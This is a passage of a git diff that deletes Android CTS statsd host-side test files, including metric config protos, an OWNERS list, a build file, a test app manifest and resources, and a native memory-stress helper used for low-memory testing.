-    <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
-        <option name="jar" value="CtsStatsdHostTestCases.jar" />
-    </test>
-
-    <object type="module_controller" class="com.android.tradefed.testtype.suite.module.MainlineTestModuleController">
-        <option name="mainline-module-package-name" value="com.google.android.os.statsd" />
-    </object>
-</configuration>
diff --git a/hostsidetests/statsd/BATTERYSTATS_CONNECTIVITY_STATE_CHANGE_COUNT.pbtxt b/hostsidetests/statsd/BATTERYSTATS_CONNECTIVITY_STATE_CHANGE_COUNT.pbtxt
deleted file mode 100644
index 4bad614..0000000
--- a/hostsidetests/statsd/BATTERYSTATS_CONNECTIVITY_STATE_CHANGE_COUNT.pbtxt
+++ /dev/null
@@ -1,24 +0,0 @@
-id: 8835981461554930288
-count_metric {
-  id: 543749824321007836
-  what: 3909523419673092535
-  bucket: ONE_DAY
-}
-atom_matcher {
-  id: 3909523419673092535
-  simple_atom_matcher {
-    atom_id: 98
-  }
-}
-allowed_log_source: "AID_GRAPHICS"
-allowed_log_source: "AID_INCIDENTD"
-allowed_log_source: "AID_STATSD"
-allowed_log_source: "AID_RADIO"
-allowed_log_source: "com.android.systemui"
-allowed_log_source: "com.android.vending"
-allowed_log_source: "AID_SYSTEM"
-allowed_log_source: "AID_ROOT"
-allowed_log_source: "AID_BLUETOOTH"
-default_pull_packages: "AID_SYSTEM"
-
-hash_strings_in_metric_report: false
diff --git a/hostsidetests/statsd/BATTERYSTATS_SERVICE_LAUNCH_COUNT.pbtxt b/hostsidetests/statsd/BATTERYSTATS_SERVICE_LAUNCH_COUNT.pbtxt
deleted file mode 100644
index 4f13941..0000000
--- a/hostsidetests/statsd/BATTERYSTATS_SERVICE_LAUNCH_COUNT.pbtxt
+++ /dev/null
@@ -1,36 +0,0 @@
-id: 8835981461554930288
-count_metric {
-  id: 543749824321007836
-  what: 3909523419673092535
-  dimensions_in_what {
-    field: 100
-    child {
-      field: 1
-    },
-    child {
-      field: 2
-    },
-    child {
-      field: 3
-    }
-  }
-  bucket: ONE_DAY
-}
-atom_matcher {
-  id: 3909523419673092535
-  simple_atom_matcher {
-    atom_id: 100
-  }
-}
-allowed_log_source: "AID_GRAPHICS"
-allowed_log_source: "AID_INCIDENTD"
-allowed_log_source: "AID_STATSD"
-allowed_log_source: "AID_RADIO"
-allowed_log_source: "com.android.systemui"
-allowed_log_source: "com.android.vending"
-allowed_log_source: "AID_SYSTEM"
-allowed_log_source: "AID_ROOT"
-allowed_log_source: "AID_BLUETOOTH"
-default_pull_packages: "AID_SYSTEM"
-
-hash_strings_in_metric_report: false
diff --git a/hostsidetests/statsd/BATTERYSTATS_SERVICE_START_COUNT.pbtxt b/hostsidetests/statsd/BATTERYSTATS_SERVICE_START_COUNT.pbtxt
deleted file mode 100644
index 87afb2d..0000000
--- a/hostsidetests/statsd/BATTERYSTATS_SERVICE_START_COUNT.pbtxt
+++ /dev/null
@@ -1,40 +0,0 @@
-id: 8835981461554930288
-count_metric {
-  id: 543749824321007836
-  what: 3909523419673092535
-  dimensions_in_what {
-    field: 99
-    child {
-      field: 1
-    },
-    child {
-      field: 2
-    },
-    child {
-      field: 3
-    }
-  }
-  bucket: ONE_DAY
-}
-atom_matcher {
-  id: 3909523419673092535
-  simple_atom_matcher {
-    atom_id: 99
-    field_value_matcher: {
-      eq_int: 1
-      field: 4
-    }
-  }
-}
-allowed_log_source: "AID_GRAPHICS"
-allowed_log_source: "AID_INCIDENTD"
-allowed_log_source: "AID_STATSD"
-allowed_log_source: "AID_RADIO"
-allowed_log_source: "com.android.systemui"
-allowed_log_source: "com.android.vending"
-allowed_log_source: "AID_SYSTEM"
-allowed_log_source: "AID_ROOT"
-allowed_log_source: "AID_BLUETOOTH"
-default_pull_packages: "AID_SYSTEM"
-
-hash_strings_in_metric_report: false
diff --git a/hostsidetests/statsd/OWNERS b/hostsidetests/statsd/OWNERS
deleted file mode 100644
index 5e51cc4..0000000
--- a/hostsidetests/statsd/OWNERS
+++ /dev/null
@@ -1,7 +0,0 @@
-# Bug component: 366902
-jeffreyhuang@google.com
-muhammadq@google.com
-singhtejinder@google.com
-tsaichristine@google.com
-yaochen@google.com
-yro@google.com
diff --git a/hostsidetests/statsd/PROCSTATSQ_PROCS_STATE_CACHED_EMPTY_DURATION.pbtxt b/hostsidetests/statsd/PROCSTATSQ_PROCS_STATE_CACHED_EMPTY_DURATION.pbtxt
deleted file mode 100644
index 6655599..0000000
--- a/hostsidetests/statsd/PROCSTATSQ_PROCS_STATE_CACHED_EMPTY_DURATION.pbtxt
+++ /dev/null
@@ -1,70 +0,0 @@
-# DURATION_PROCESS_STATE_IN_CACHED_EMPTY_PER_PROC_NAME_PACKAGE_NAME_VERSION
-id: -6109199674574072698
-duration_metric {
-  id: -7871805656933174442
-  what: -4194528603977557137
-  aggregation_type: SUM
-  dimensions_in_what {
-    field: 3
-    child {
-      field: 2
-    }
-    child {
-      field: 3
-    }
-    child {
-      field: 5
-    }
-  }
-  bucket: ONE_MINUTE
-}
-# PROC_STATE NOT IN CACHED_EMPTY
-atom_matcher {
-  id: -2354884036751182872
-  combination {
-    operation: NOT
-    matcher: -7794766650955623092
-  }
-}
-# PROC_STATE IN CACHED_EMPTY
-atom_matcher {
-  id: -7794766650955623092
-  simple_atom_matcher {
-    atom_id: 3
-    field_value_matcher {
-      field: 4
-      eq_int: 1018
-    }
-  }
-}
-predicate {
-  id: -4194528603977557137
-  simple_predicate {
-    start: -7794766650955623092
-    stop: -2354884036751182872
-    count_nesting: false
-    dimensions {
-      field: 3
-      child {
-        field: 2
-      }
-      child {
-        field: 3
-      }
-      child {
-        field: 5
-      }
-    }
-  }
-}
-allowed_log_source: "AID_GRAPHICS"
-allowed_log_source: "AID_INCIDENTD"
-allowed_log_source: "AID_STATSD"
-allowed_log_source: "AID_RADIO"
-allowed_log_source: "com.android.systemui"
-allowed_log_source: "com.android.vending"
-allowed_log_source: "AID_SYSTEM"
-allowed_log_source: "AID_ROOT"
-allowed_log_source: "AID_BLUETOOTH"
-default_pull_packages: "AID_SYSTEM"
-hash_strings_in_metric_report: false
diff --git a/hostsidetests/statsd/PROCSTATSQ_PROCS_STATE_PSS_VALUE.pbtxt b/hostsidetests/statsd/PROCSTATSQ_PROCS_STATE_PSS_VALUE.pbtxt
deleted file mode 100644
index 7f071e3..0000000
--- a/hostsidetests/statsd/PROCSTATSQ_PROCS_STATE_PSS_VALUE.pbtxt
+++ /dev/null
@@ -1,45 +0,0 @@
-# VALUE_MAX_PSS_PER_PROC_NAME_PACKAGE_NAME_VERSION
-id: -6109199674574072698
-value_metric {
-  id: 1867856787681329178
-  what: -3480158308153459853
-  value_field {
-    field: 18
-    child {
-      field: 4
-    }
-  }
-  dimensions_in_what {
-    field: 18
-    child {
-      field: 2
-    }
-    child {
-      field: 3
-    }
-    child {
-      field: 9
-    }
-  }
-  bucket: ONE_MINUTE
-  aggregation_type: MAX
-}
-# PROCESS_MEMORY_STAT_REPORTED
-atom_matcher {
-  id: -3480158308153459853
-  simple_atom_matcher {
-    atom_id: 18
-  }
-}
-allowed_log_source: "AID_GRAPHICS"
-allowed_log_source: "AID_INCIDENTD"
-allowed_log_source: "AID_STATSD"
-allowed_log_source: "AID_RADIO"
-allowed_log_source: "com.android.systemui"
-allowed_log_source: "com.android.vending"
-allowed_log_source: "AID_SYSTEM"
-allowed_log_source: "AID_ROOT"
-allowed_log_source: "AID_BLUETOOTH"
-default_pull_packages: "AID_SYSTEM"
-
-hash_strings_in_metric_report: false
diff --git a/hostsidetests/statsd/PROCSTATSQ_PROCS_STATE_TOP_DURATION.pbtxt b/hostsidetests/statsd/PROCSTATSQ_PROCS_STATE_TOP_DURATION.pbtxt
deleted file mode 100644
index e388d54..0000000
--- a/hostsidetests/statsd/PROCSTATSQ_PROCS_STATE_TOP_DURATION.pbtxt
+++ /dev/null
@@ -1,91 +0,0 @@
-# DURATION_PROCESS_STATE_IN_TOP_PER_PROC_NAME_PACKAGE_NAME_VERSION
-id: -6109199674574072698
-duration_metric {
-  id: -1365360216258753370
-  what: -8800411078553365796
-  aggregation_type: SUM
-  dimensions_in_what {
-    field: 3
-    child {
-      field: 2
-    }
-    child {
-      field: 3
-    }
-    child {
-      field: 5
-    }
-  }
-  bucket: ONE_MINUTE
-}
-# PROC_STATE NOT IN TOP
-atom_matcher {
-  id: -7829668247086356765
-  combination {
-    operation: NOT
-    matcher: -2987742411590785849
-  }
-}
-# PROCESS_STATE TOP
-atom_matcher {
-  id: 509484152027467470
-  simple_atom_matcher {
-    atom_id: 3
-    field_value_matcher {
-      field: 4
-      eq_int: 1002
-    }
-  }
-}
-# PROCESS_STATE TOP_SLEEPING
-atom_matcher {
-  id: -3293304223207806916
-  simple_atom_matcher {
-    atom_id: 3
-    field_value_matcher {
-      field: 4
-      eq_int: 1011
-    }
-  }
-}
-# PROC_STATE IN TOP
-atom_matcher {
-  id: -2987742411590785849
-  combination {
-    operation: OR
-    matcher: 509484152027467470
-    matcher: -3293304223207806916
-  }
-}
-predicate {
-  id: -8800411078553365796
-  simple_predicate {
-    start: -2987742411590785849
-    stop: -7829668247086356765
-    count_nesting: false
-    dimensions {
-      field: 3
-      child {
-        field: 2
-      }
-      child {
-        field: 3
-      }
-      child {
-        field: 5
-      }
-    }
-  }
-}
-allowed_log_source: "AID_GRAPHICS"
-allowed_log_source: "AID_INCIDENTD"
-allowed_log_source: "AID_STATSD"
-allowed_log_source: "AID_RADIO"
-allowed_log_source: "com.android.systemui"
-allowed_log_source: "com.android.vending"
-allowed_log_source: "AID_SYSTEM"
-allowed_log_source: "AID_ROOT"
-allowed_log_source: "AID_BLUETOOTH"
-default_pull_packages: "AID_SYSTEM"
-
-hash_strings_in_metric_report: false
diff --git a/hostsidetests/statsd/PROCSTATSQ_PULL.pbtxt b/hostsidetests/statsd/PROCSTATSQ_PULL.pbtxt
deleted file mode 100644
index 8444943..0000000
--- a/hostsidetests/statsd/PROCSTATSQ_PULL.pbtxt
+++ /dev/null
@@ -1,59 +0,0 @@
-id: 8835981461554930288
-gauge_metric {
-  id: 543749824321007836
-  what: 3909523419673092535
-  gauge_fields_filter {
-    include_all: true
-  }
-  bucket: ONE_DAY
-  condition: -377136895
-  sampling_type: CONDITION_CHANGE_TO_TRUE
-  # Normal user should have <1000
-  max_num_gauge_atoms_per_bucket: 2000
-}
-atom_matcher {
-  id: 3909523419673092535
-  simple_atom_matcher {
-    atom_id: 10029
-  }
-}
-atom_matcher {
-  id: -1651300237
-  simple_atom_matcher {
-    atom_id: 47
-    field_value_matcher {
-      field: 2
-      eq_int: 1
-    }
-  }
-}
-atom_matcher {
-  id: -1651300236
-  simple_atom_matcher {
-    atom_id: 47
-    field_value_matcher {
-      field: 2
-      eq_int: 2
-    }
-  }
-}
-predicate {
-  id: -377136895
-  simple_predicate {
-    start: -1651300237
-    stop: -1651300236
-    count_nesting: false
-  }
-}
-allowed_log_source: "AID_GRAPHICS"
-allowed_log_source: "AID_INCIDENTD"
-allowed_log_source: "AID_STATSD"
-allowed_log_source: "AID_RADIO"
-allowed_log_source: "com.android.systemui"
-allowed_log_source: "com.android.vending"
-allowed_log_source: "AID_SYSTEM"
-allowed_log_source: "AID_ROOT"
-allowed_log_source: "AID_BLUETOOTH"
-default_pull_packages: "AID_SYSTEM"
-
-hash_strings_in_metric_report: false
diff --git a/hostsidetests/statsd/PROCSTATSQ_PULL_PKG_PROC.pbtxt b/hostsidetests/statsd/PROCSTATSQ_PULL_PKG_PROC.pbtxt
deleted file mode 100644
index 1effda6..0000000
--- a/hostsidetests/statsd/PROCSTATSQ_PULL_PKG_PROC.pbtxt
+++ /dev/null
@@ -1,59 +0,0 @@
-id: 8835981461554930288
-gauge_metric {
-  id: 543749824321007836
-  what: 3909523419673092535
-  gauge_fields_filter {
-    include_all: true
-  }
-  bucket: ONE_DAY
-  condition: -377136895
-  sampling_type: CONDITION_CHANGE_TO_TRUE
-  # Normal user should have <1000
-  max_num_gauge_atoms_per_bucket: 2000
-}
-atom_matcher {
-  id: 3909523419673092535
-  simple_atom_matcher {
-    atom_id: 10034
-  }
-}
-atom_matcher {
-  id: -1651300237
-  simple_atom_matcher {
-    atom_id: 47
-    field_value_matcher {
-      field: 2
-      eq_int: 1
-    }
-  }
-}
-atom_matcher {
-  id: -1651300236
-  simple_atom_matcher {
-    atom_id: 47
-    field_value_matcher {
-      field: 2
-      eq_int: 2
-    }
-  }
-}
-predicate {
-  id: -377136895
-  simple_predicate {
-    start: -1651300237
-    stop: -1651300236
-    count_nesting: false
-  }
-}
-allowed_log_source: "AID_GRAPHICS"
-allowed_log_source: "AID_INCIDENTD"
-allowed_log_source: "AID_STATSD"
-allowed_log_source: "AID_RADIO"
-allowed_log_source: "com.android.systemui"
-allowed_log_source: "com.android.vending"
-allowed_log_source: "AID_SYSTEM"
-allowed_log_source: "AID_ROOT"
-allowed_log_source: "AID_BLUETOOTH"
-default_pull_packages: "AID_SYSTEM"
-
-hash_strings_in_metric_report: false
diff --git a/hostsidetests/statsd/TEST_MAPPING b/hostsidetests/statsd/TEST_MAPPING
deleted file mode 100644
index f48ff4b..0000000
--- a/hostsidetests/statsd/TEST_MAPPING
+++ /dev/null
@@ -1,7 +0,0 @@
-{
-  "postsubmit" : [
-    {
-      "name" : "CtsStatsdHostTestCases"
-    }
-  ]
-}
diff --git a/hostsidetests/statsd/apps/statsdapp/Android.bp b/hostsidetests/statsd/apps/statsdapp/Android.bp
deleted file mode 100644
index 6e0ef51..0000000
--- a/hostsidetests/statsd/apps/statsdapp/Android.bp
+++ /dev/null
@@ -1,60 +0,0 @@
-// Copyright (C) 2017 The Android Open Source Project
-//
-// Licensed under the Apache License, Version 2.0 (the "License");
-// you may not use this file except in compliance with the License.
-// You may obtain a copy of the License at
-//
-//      http://www.apache.org/licenses/LICENSE-2.0
-//
-// Unless required by applicable law or agreed to in writing, software
-// distributed under the License is distributed on an "AS IS" BASIS,
-// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-// See the License for the specific language governing permissions and
-// limitations under the License.
-
-cc_library_shared {
-    name: "liblmkhelper",
-    srcs: ["jni/alloc_stress_activity.cpp"],
-    cflags: [
-        "-Wall",
-        "-Werror",
-    ],
-    header_libs: ["jni_headers"],
-    shared_libs: ["liblog"],
-    stl: "c++_static",
-    sdk_version: "current",
-}
-
-android_test_helper_app {
-    name: "CtsStatsdApp",
-    defaults: ["cts_defaults"],
-    platform_apis: true,
-    min_sdk_version: "24",
-    srcs: [
-        "src/**/*.java",
-        ":statslog-statsd-cts-java-gen",
-    ],
-    libs: [
-        "android.test.runner",
-        "junit",
-        "org.apache.http.legacy",
-    ],
-    privileged: true,
-    static_libs: [
-        "ctstestrunner-axt",
-        "compatibility-device-util-axt",
-        "androidx.legacy_legacy-support-v4",
-        "androidx.test.rules",
-        "cts-net-utils",
-        "BlobStoreTestUtils"
-    ],
-    jni_libs: ["liblmkhelper"],
-    compile_multilib: "both",
-}
-
-genrule {
-    name: "statslog-statsd-cts-java-gen",
-    tools: ["stats-log-api-gen"],
-    cmd: "$(location stats-log-api-gen) --java $(out) --module cts --javaPackage com.android.server.cts.device.statsd --javaClass StatsLogStatsdCts",
-    out: ["com/android/server/cts/device/statsd/StatsLogStatsdCts.java"],
-}
diff --git a/hostsidetests/statsd/apps/statsdapp/AndroidManifest.xml b/hostsidetests/statsd/apps/statsdapp/AndroidManifest.xml
deleted file mode 100644
index 875488b..0000000
--- a/hostsidetests/statsd/apps/statsdapp/AndroidManifest.xml
+++ /dev/null
@@ -1,117 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!-- Copyright (C) 2017 The Android Open Source Project
-
-     Licensed under the Apache License, Version 2.0 (the "License");
-     you may not use this file except in compliance with the License.
-     You may obtain a copy of the License at
-
-          http://www.apache.org/licenses/LICENSE-2.0
-
-     Unless required by applicable law or agreed to in writing, software
-     distributed under the License is distributed on an "AS IS" BASIS,
-     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-     See the License for the specific language governing permissions and
-     limitations under the License.
--->
-
-<manifest xmlns:android="http://schemas.android.com/apk/res/android"
-     package="com.android.server.cts.device.statsd"
-     android:versionCode="10">
-    <uses-permission android:name="android.permission.ACCESS_BACKGROUND_LOCATION"/>
-    <uses-permission android:name="android.permission.ACCESS_FINE_LOCATION"/>
-    <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE"/>
-    <uses-permission android:name="android.permission.ACCESS_WIFI_STATE"/>
-    <uses-permission android:name="android.permission.BLUETOOTH"/>
-    <uses-permission android:name="android.permission.BLUETOOTH_ADMIN"/>
-    <uses-permission android:name="android.permission.CAMERA"/>
-    <uses-permission android:name="android.permission.CHANGE_NETWORK_STATE"/>
-    <uses-permission android:name="android.permission.CHANGE_WIFI_MULTICAST_STATE"/>
-    <uses-permission android:name="android.permission.CHANGE_WIFI_STATE"/>
-    <uses-permission android:name="android.permission.CONFIGURE_DISPLAY_BRIGHTNESS"/>
-    <uses-permission android:name="android.permission.DUMP"/> <!-- must be granted via pm grant -->
-    <uses-permission android:name="android.permission.FOREGROUND_SERVICE"/>
-    <uses-permission android:name="android.permission.INTERNET"/>
-    <uses-permission android:name="android.permission.READ_SYNC_STATS"/>
-    <uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW"/>
-    <uses-permission android:name="android.permission.VIBRATE"/>
-    <uses-permission android:name="android.permission.WAKE_LOCK"/>
-    <uses-permission android:name="android.permission.WRITE_SYNC_SETTINGS"/>
-    <uses-permission android:name="android.permission.WRITE_SECURE_SETTINGS"/>
-
-    <application android:label="@string/app_name">
-        <uses-library android:name="android.test.runner"/>
-        <uses-library android:name="org.apache.http.legacy"
-             android:required="false"/>
-
-        <service android:name=".StatsdCtsBackgroundService"
-             android:exported="true"/>
-        <activity android:name=".StatsdCtsForegroundActivity"
-             android:exported="true"/>
-        <service android:name=".StatsdCtsForegroundService"
-             android:foregroundServiceType="camera"
-             android:exported="true"/>
-
-        <activity android:name=".VideoPlayerActivity"
-             android:label="@string/app_name"
-             android:resizeableActivity="true"
-             android:supportsPictureInPicture="true"
-             android:configChanges="screenSize|smallestScreenSize|screenLayout|orientation"
-             android:launchMode="singleTop"
-             android:exported="true">
-            <intent-filter>
-                <action android:name="android.intent.action.MAIN"/>
-                <category android:name="android.intent.category.LAUNCHER"/>
-            </intent-filter>
-        </activity>
-
-        <activity android:name=".DaveyActivity"
-             android:exported="true"/>
-        <activity android:name=".ANRActivity"
-             android:label="ANR Test Activity"
-             android:launchMode="singleInstance"
-             android:process=":ANRProcess"
-             android:exported="true"/>
-
-        <service android:name=".StatsdAuthenticator"
-             android:exported="false">
-            <intent-filter>
-                <action android:name="android.accounts.AccountAuthenticator"/>
-            </intent-filter>
-
-            <meta-data android:name="android.accounts.AccountAuthenticator"
-                 android:resource="@xml/authenticator"/>
-        </service>
-        <service android:name="StatsdSyncService"
-             android:exported="false">
-            <intent-filter>
-                <action android:name="android.content.SyncAdapter"/>
-            </intent-filter>
-            <meta-data android:name="android.content.SyncAdapter"
-                 android:resource="@xml/syncadapter"/>
-        </service>
-
-        <provider android:name=".StatsdProvider"
-             android:authorities="com.android.server.cts.device.statsd.provider"/>
-
-        <service android:name=".StatsdJobService"
-             android:permission="android.permission.BIND_JOB_SERVICE"/>
-
-        <service android:name=".DummyCallscreeningService"
-             android:permission="android.permission.BIND_SCREENING_SERVICE"
-             android:exported="true">
-            <intent-filter>
-                <action android:name="android.telecom.CallScreeningService"/>
-            </intent-filter>
-        </service>
-
-        <service android:name=".IsolatedProcessService"
-             android:isolatedProcess="true"/>
-    </application>
-
-    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
-         android:targetPackage="com.android.server.cts.device.statsd"
-         android:label="CTS tests of android.os.statsd stats collection">
-        <meta-data android:name="listener"
-             android:value="com.android.cts.runner.CtsTestRunListener"/>
-    </instrumentation>
-</manifest>
diff --git a/hostsidetests/statsd/apps/statsdapp/jni/alloc_stress_activity.cpp b/hostsidetests/statsd/apps/statsdapp/jni/alloc_stress_activity.cpp
deleted file mode 100644
index b98a04b..0000000
--- a/hostsidetests/statsd/apps/statsdapp/jni/alloc_stress_activity.cpp
+++ /dev/null
@@ -1,53 +0,0 @@
-/*
- * Copyright (C) 2010 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- *
- */
-
-#include <algorithm>
-#include <cstring>
-#include <fstream>
-#include <iostream>
-#include <jni.h>
-#include <numeric>
-#include <sstream>
-#include <string>
-#include <tuple>
-#include <unistd.h>
-
-#include <android/log.h>
-#define LOG(...) __android_log_write(ANDROID_LOG_INFO, "ALLOC-STRESS", __VA_ARGS__)
-
-using namespace std;
-
-size_t s = 4 * (1 << 20); // 4 MB
-void *gptr;
-extern "C"
-JNIEXPORT void JNICALL
-Java_com_android_server_cts_device_statsd_StatsdCtsBackgroundService_cmain(JNIEnv* , jobject /* this */)
-{
-    long long allocCount = 0;
-    while (1) {
-        char *ptr = (char *)malloc(s);
-        memset(ptr, (int)allocCount >> 10, s);
-        for (int i = 0; i < s; i += 4096) {
-            *((long long *)&ptr[i]) = allocCount + i;
-        }
-        std::stringstream ss;
-        ss << "total alloc: " << allocCount / (1 << 20);
-        LOG(ss.str().c_str());
-        gptr = ptr;
-        allocCount += s;
-    }
-}
diff --git a/hostsidetests/statsd/apps/statsdapp/res/layout/activity_davey.xml b/hostsidetests/statsd/apps/statsdapp/res/layout/activity_davey.xml
deleted file mode 100644
index bf43931..0000000
--- a/hostsidetests/statsd/apps/statsdapp/res/layout/activity_davey.xml
+++ /dev/null
@@ -1,27 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!-- Copyright (C) 2018 The Android Open Source Project
-
-     Licensed under the Apache License, Version 2.0 (the "License");
-     you may not use this file except in compliance with the License.
-     You may obtain a copy of the License at
-
-          http://www.apache.org/licenses/LICENSE-2.0
-
-     Unless required by applicable law or agreed to in writing, software
-     distributed under the License is distributed on an "AS IS" BASIS,
-     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-     See the License for the specific language governing permissions and
-     limitations under the License.
--->
-
-<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
-    xmlns:custom="http://schemas.android.com/apk/res/com.android.server.cts.device.statsd"
-    android:layout_width="match_parent"
-    android:layout_height="match_parent"
-    android:orientation="vertical">
-  <com.android.server.cts.device.statsd.DaveyView
-      android:id="@+id/davey_view"
-      android:layout_width="match_parent"
-      android:layout_height="match_parent"
-      custom:causeDavey="false" />
-</LinearLayout>
\ No newline at end of file
diff --git a/hostsidetests/statsd/apps/statsdapp/res/layout/activity_main.xml b/hostsidetests/statsd/apps/statsdapp/res/layout/activity_main.xml
deleted file mode 100644
index a029c80..0000000
--- a/hostsidetests/statsd/apps/statsdapp/res/layout/activity_main.xml
+++ /dev/null
@@ -1,32 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!-- Copyright (C) 2017 The Android Open Source Project
-
-     Licensed under the Apache License, Version 2.0 (the "License");
-     you may not use this file except in compliance with the License.
-     You may obtain a copy of the License at
-
-          http://www.apache.org/licenses/LICENSE-2.0
-
-     Unless required by applicable law or agreed to in writing, software
-     distributed under the License is distributed on an "AS IS" BASIS,
-     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-     See the License for the specific language governing permissions and
-     limitations under the License.
--->
-
-<RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android"
-    android:layout_width="fill_parent"
-    android:layout_height="fill_parent"
-    android:orientation="vertical">
-
-    <FrameLayout
-        android:id="@+id/video_frame"
-        android:layout_width="fill_parent"
-        android:layout_height="fill_parent">
-
-        <VideoView
-            android:id="@+id/video_player_view"
-            android:layout_width="fill_parent"
-            android:layout_height="fill_parent" />
-    </FrameLayout>
-</RelativeLayout>
\ No newline at end of file
diff --git a/hostsidetests/statsd/apps/statsdapp/res/raw/colors_video.mp4 b/hostsidetests/statsd/apps/statsdapp/res/raw/colors_video.mp4
deleted file mode 100644
index 0bec670..0000000
--- a/hostsidetests/statsd/apps/statsdapp/res/raw/colors_video.mp4
+++ /dev/null
Binary files differ
diff --git a/hostsidetests/statsd/apps/statsdapp/res/raw/good.mp3 b/hostsidetests/statsd/apps/statsdapp/res/raw/good.mp3
deleted file mode 100644
index d20f772..0000000
--- a/hostsidetests/statsd/apps/statsdapp/res/raw/good.mp3
+++ /dev/null
Binary files differ
diff --git a/hostsidetests/statsd/apps/statsdapp/res/values/attrs.xml b/hostsidetests/statsd/apps/statsdapp/res/values/attrs.xml
deleted file mode 100644
index e769146..0000000
--- a/hostsidetests/statsd/apps/statsdapp/res/values/attrs.xml
+++ /dev/null
@@ -1,20 +0,0 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!-- Copyright (C) 2018 The Android Open Source Project
-
-     Licensed under the Apache License, Version 2.0 (the "License");
-     you may not use this file except in compliance with the License.
-     You may obtain a copy of the License at
-
-          http://www.apache.org/licenses/LICENSE-2.0
-
-     Unless required by applicable law or agreed to in writing, software
-     distributed under the License is distributed on an "AS IS" BASIS,
-     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-     See the License for the specific language governing permissions and
-     limitations under the License.
--->
-<resources>
-  <declare-styleable name="DaveyView">
-    <attr name="causeDavey" format="boolean" />
-  </declare-styleable>
-</resources>
\ No newline at end of file
diff --git a/hostsidetests/statsd/apps/statsdapp/res/values/strings.xml b/hostsidetests/statsd/apps/statsdapp/res/values/strings.xml
deleted file mode 100644
index e40d2ac..0000000
--- a/hostsidetests/statsd/apps/statsdapp/res/values/strings.xml
+++ /dev/null
@@ -1,20 +0,0 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!-- Copyright (C) 2017 The Android Open Source Project
-
-     Licensed under the Apache License, Version 2.0 (the "License");
-     you may not use this file except in compliance with the License.
-     You may obtain a copy of the License at
-
-          http://www.apache.org/licenses/LICENSE-2.0
-
-     Unless required by applicable law or agreed to in writing, software
-     distributed under the License is distributed on an "AS IS" BASIS,
-     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-     See the License for the specific language governing permissions and
-     limitations under the License.
--->
-
-<resources xmlns:android="http://schemas.android.com/apk/res/android"
-           xmlns:xliff="urn:oasis:names:tc:xliff:document:1.2">
-    <string name="app_name">CTS Statsd Atoms App</string>
-</resources>
\ No newline at end of file
diff --git a/hostsidetests/statsd/apps/statsdapp/res/xml/authenticator.xml b/hostsidetests/statsd/apps/statsdapp/res/xml/authenticator.xml
deleted file mode 100644
index 71c73d7..0000000
--- a/hostsidetests/statsd/apps/statsdapp/res/xml/authenticator.xml
+++ /dev/null
@@ -1,15 +0,0 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!-- Copyright (C) 2018 The Android Open Source Project
-     Licensed under the Apache License, Version 2.0 (the "License");
-     you may not use this file except in compliance with the License.
-     You may obtain a copy of the License at
-          http://www.apache.org/licenses/LICENSE-2.0
-     Unless required by applicable law or agreed to in writing, software
-     distributed under the License is distributed on an "AS IS" BASIS,
-     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-     See the License for the specific language governing permissions and
-     limitations under the License.
--->
-<account-authenticator xmlns:android="http://schemas.android.com/apk/res/android"
-    android:accountType="com.android.cts.statsd"
-    android:label="@string/app_name" />
\ No newline at end of file
diff --git a/hostsidetests/statsd/apps/statsdapp/res/xml/syncadapter.xml b/hostsidetests/statsd/apps/statsdapp/res/xml/syncadapter.xml
deleted file mode 100644
index d8cb52e..0000000
--- a/hostsidetests/statsd/apps/statsdapp/res/xml/syncadapter.xml
+++ /dev/null
@@ -1,20 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!-- Copyright (C) 2018 The Android Open Source Project
-
-     Licensed under the Apache License, Version 2.0 (the "License");
-     you may not use this file except in compliance with the License.
-     You may obtain a copy of the License at
-
-          http://www.apache.org/licenses/LICENSE-2.0
-
-     Unless required by applicable law or agreed to in writing, software
-     distributed under the License is distributed on an "AS IS" BASIS,
-     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-     See the License for the specific language governing permissions and
-     limitations under the License.
--->
-
-<sync-adapter xmlns:android="http://schemas.android.com/apk/res/android"
-    android:contentAuthority= "com.android.server.cts.device.statsd.provider"
-    android:accountType="com.android.cts.statsd"
-/>
\ No newline at end of file
diff --git a/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/ANRActivity.java b/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/ANRActivity.java
deleted file mode 100644
index 78b2d2d..0000000
--- a/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/ANRActivity.java
+++ /dev/null
@@ -1,51 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.server.cts.device.statsd;
-
-import android.app.Activity;
